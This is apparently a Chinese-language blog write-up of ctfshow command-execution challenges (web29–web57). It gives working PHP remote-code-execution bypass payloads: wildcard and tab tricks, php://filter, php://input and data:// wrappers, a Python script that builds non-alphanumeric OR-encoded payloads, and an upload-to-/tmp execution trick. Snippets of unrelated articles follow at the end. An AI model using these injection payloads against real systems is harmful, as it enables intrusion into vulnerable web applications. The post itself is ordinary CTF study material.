ctfshow-命令执行

news/2025/2/19 17:08:43/

大佬文章

u r l \rm url url 编码

L i n u x \rm Linux Linux 下空格绕过

无参数 r c e \rm rce rce

无字母 r c e \rm rce rce

无字母参数 r c e ( w e b 55 ) \rm rce(web55) rce(web55)

web29

  • 通配符:

    *:匹配任意多个字符

    ?:匹配任意一个字符

    []:匹配某个范围的字符( [ a d ] [ad] [ad] 表示 a − d a-d ad 的字符)

    {a,b}:匹配 a a a 或者 b b b

web30

  • echo `cat flag`:表示先运行 cat flag,然后再把结果输出

web31

  1. %09(tab) 绕过空格

  2. 命令拼接:c=eval($_POST[a]);,然后 POST 传入一个变量 a 即可

  3. 无参数 r c e \rm rce rce

web32

  • 过滤分号,用 ?> 代替

  • 过滤括号,使用 include 函数,其不需要括号传参(例如 include a.php)

因此 ?c=include%09$_POST[a]?> ,之后 post 传入一个文件即可

文件会被注释掉(显示不出来),所以考虑伪协议读文件

a=php://filter/read=convert.base64-encode/resource=flag.php

web37

  • 使用 php://input 协议,之后 post 传入需要的 php 代码即可

web38

  • data 伪协议读文件

    c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== ( b a s e 64 \rm base64 base64system("cat flag");)

web40

  • 无参数命令执行

    getallheaders()http 头中的信息放到一个数组里面

    修改http 头中的某些不重要的内容为 system("cat flag"),使用语句 eval(array_rand(array_flip(getallheaders())));,多刷新几次即可做到无参数命令执行

web41

  • 无数字字母 r c e \rm rce rce

    一般实现方法是自增,取反,异或,或

    这题用的是或运算

    # coding=gbk
    import re
    import requests
    use = []
    def get_and(aim, use):ans1 = ""ans2 = ""for i in range(len(aim)):ok = Falsefor j in range(len(use)):for k in range(j,len(use)):if (ord(use[j]) | ord(use[k])) == ord(aim[i]):ans1 = ans1 + use[j]ans2 = ans2 + use[k]ok = Trueif ok: breakif ok: break            ans = ""for i in range(len(ans1)): ans += chr(ord(ans1[i]) | ord(ans2[i]))    print(ans)return "(\""+ans1+"\"|\""+ans2+"\")"if __name__ == '__main__':match_str = "/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"url = "http://e5280b73-c2cb-4f3f-9309-68319256efdf.challenge.ctf.show/"for i in range(256):c = chr(i)tmp = re.match(match_str, c, re.I)if tmp == None:use.append(c)func = "system"argu = "cat flag.php"data = {"c":get_and(func,use)+get_and(argu,use)}print(data)r = requests.post(url = url, data = data)print(r.text)
    

web42

system($c." >/dev/null 2>&1"); 黑洞代码

  1. cat flag && ls:只会让后面的查询没有

  2. ls ##shell 脚本的注释

  3. %0a:换行

web46

  • flag 被过滤,可以换成 f''lag

web54

过滤的正则表达式长这个鬼样子 |.*c.*a.*t.*|...(意思是输入字符串不能出现 cat 的子序列)

  • cat 一般存放在 /bin/cat,这样可以用 /bin/?at 代替 cat

    bin B i n a r i e s \rm Binaries Binaries (二进制文件) 的缩写, 这个目录存放着最经常使用的命令

web55

eval — Evaluate a string as PHP code

system — Execute an external program and display the output

因此只有遇到 eval 函数时候才能使用异或等包含计算的 r c e \rm rce rce,这道题考虑其他方法

  1. /bin/base64 flag.php 将这句话的字母全部换成 ? 即可

  2. /usr/bin/bzip2 flag.php,之后访问 flag.php.bz2 即可下载文件

  3. 首先知道 . 相当于 bash. file 命令是可以执行一个文件的

    可以发送一个文件上传的 post 包,此时我们上传的文件会被保存在临时目录下,默认文件名是 /tmp/PHPxxxxxx(六位随机大小写字符)

    传入的参数 c 可以是 . /???/????????[@-[],其中 [@-[] 代替的是 a s c i i \rm ascii ascii 码在 @[ 区间的字符,也就是所有大写字母

    最后多刷新几次,刷新到临时文件名最后一位是大写即可

    文件上传的 html

    <!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="gbk">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
    </head>
    <body>
    <form action="http://454993e9-48c8-4d4b-a7e0-8027997d4fd4.challenge.ctf.show/?c=.%20/???/?????????[@-[]" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
    </form>
    </body>
    </html>
    

web57

l i n u x \rm linux linux 中各种运算符的作用

  • $((a+b)) 会返回 a+b 的值

    $(( ~$(()) )) − 1 \rm -1 1 (对 0 \rm 0 0 取反)

    因此可以构造出来 − 37 \rm -37 37,之后对其取反就是 36 \rm 36 36

未完待续


http://www.ppmy.cn/news/1336044.html

相关文章

【每日一题】5.LeetCode——环形链表

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &#x1f64f;小杨水平有限&#xff0c;欢迎各位大佬指点&…

网络安全面试宝典——黑客渗透

#在面试时&#xff0c;网络安全也会被经常问到&#xff0c;至少要知道常见的攻击&#xff0c;以及防 御措施。在这里 Mark 下&#xff0c;不做深入分析。 1.对称加密和非对称加密 对称加密&#xff1a;加解密用同一密钥&#xff0c;密钥维护复杂 n&#xff08;n-1&#xff…

【Vue】为什么Vue3使用Proxy代替defineProperty?

先来看看 Vue2 中 defineProperty 来操作数据&#xff1a; const obj {a: 1,b: 2,c: {a: 1,b: 2} } function _isObject(v) {return typeof v object && v ! null; } function observe(object) {for (let key in object) {let v object[key];if (_isObject(v)) {ob…

Redis -- 背景知识

目录 特性 为啥Redis快? 应用场景 Redis不能做什么&#xff1f; Redis是在内存中存储数据的一个中间件&#xff0c;用作为数据库&#xff0c;也可以用作为缓存&#xff0c;在分布式中有很高的威望。 特性 In-memory data structures&#xff1a;在内存中存储数据key-val…

PMP五大过程组:项目成功的金钥匙

在项目管理领域&#xff0c;PMP&#xff08;项目管理专业&#xff09;一直被视为权威的标准。PMP认证的项目管理方法论&#xff0c;即五大过程组和十大知识领域&#xff0c;为项目管理提供了一套完整、系统的方法论。五大过程组作为PMP的核心&#xff0c;涵盖了项目从开始到结束…

C++ STL中list迭代器的实现

list 的模拟实现中&#xff0c;重难点在于迭代器功能的实现&#xff0c;因此本文只围绕 iterator 及 const_iterator 的设计进行介绍&#xff0c;其余如增删查改则不再赘述——在C语言的基础上&#xff0c;这些都非常简单。 与 string / vector 不同&#xff0c;list 的节点原生…

flink-cdc实战之oracle问题记录01

记录问题&#xff0c;温暖你我&#xff0c;上台 欢迎点赞留言关注 2024-01-26 11:02:56,168 ERROR Oracle|oracle_logminer|streaming Mining session stopped due to the {} [io.debezium.connector.oracle.logminer.LogMinerHelper] io.debezium.DebeziumException: Sup…

python sklearn labelencoder、OneHotEncoder和get_dummies的区别

文章目录 labelencoderOneHotEncoderget_dummiesLabelBinarizer labelencoder LabelEncoder 将不连续的数字or文本进行编号 import numpy as np import pandas as pd data pd.DataFrame({"学号":[1001,1002,1003,1004],"性别":["男","女…